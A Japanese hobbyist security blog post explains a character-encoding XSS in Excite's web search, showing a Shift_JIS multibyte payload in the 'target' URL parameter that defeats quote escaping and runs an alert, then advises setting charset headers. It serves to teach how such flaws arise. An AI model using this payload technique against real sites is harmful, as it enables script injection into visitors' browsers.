読者です 読者をやめる 読者になる 読者になる

素人がプログラミングを勉強していたブログ

プログラミング、セキュリティ、英語、Webなどのブログ since 2008

連絡先: すかいぷ:javascripter_  か javascripter あっと tsukkun.net skypeのほうがいいです

文字コードとXSS

またXSSか、という感じではあるが、今日は文字コードに関連するXSSを紹介する。 エキサイトを例にとって説明する。エキサイトウェブ検索の&target=パラメータは、文字列を動的に埋め込んでいる。 例えば、

http://www.excite.co.jp/search.gw?search=1&target=xxx

にアクセスすると、ソースコードJavaScript

</div>
<script language="javascript">
<!--
var current_target = 'xxx';
function tabHilight(target){

xxxが埋め込まれる。 ただし、

http://www.excite.co.jp/search.gw?search=1&target=xxx'

とすると

<script language="javascript">
<!--
var current_target = 'xxx&apos;';
function tabHilight(target){

となることから、一見XSSはできないように思える。 しかし、

http://www.excite.co.jp/search.gw?search=1&target=xxx%22'%3C%3E%5C

にアクセスすると

<script language="javascript">
<!--
var current_target = 'xxx&quot;&apos;&lt;&gt;\';
function tabHilight(target){

となり、シンタックスエラーが発生するように、エスケープが完全ではない。 同様に、%0A、改行をパラメータに入れると、文字列内で改行されてしまいシンタックスエラーになる。 しかし、シングルクオートがエスケープされる以上、シンタックスエラーは起こせてもXSSを起こす事はできないように思われる。しかし、実際は可能なのである。

http://www.excite.co.jp/search.gw?search=1&target=xxxあ'%3Balert(/xss/.source)//

にアクセスすると、ソースコード

<script language="javascript">
<!--
var current_target = 'xxx縺';alert(/xss/.source)//';
function tabHilight(target){

となっており、XSSとアラート表示される。いったい何がおきたのだろうか。面倒くさくなったので詳細は省くが、上記XSSの仕組みが分からない人は調査すると良いだろう。ちなみに、エキサイトウェブ検索はSHIFT_JISである。

文字コードまわりはXSSを生み出しやすいので、気をつけるべきである。例えば、XHRで読み込む用にHTMLの断片を返すURLがある場合、その断片は

<meta charset="SHIFT_JIS">

などの文字コードを指定する情報が含まれていないので、ヘッダのContent-Typeをきちんと指定していない場合、URLパラメータに特定の文字コードにしか現れない文字列を入れるなどしてブラウザにそのページの文字コードを誤認識させ、上記XSSと同じような手法でスクリプトをインジェクトできることがある。

参考: UTF-8の動的コンテンツをShift_JISと誤認させることで成立するXSS - masa’s memo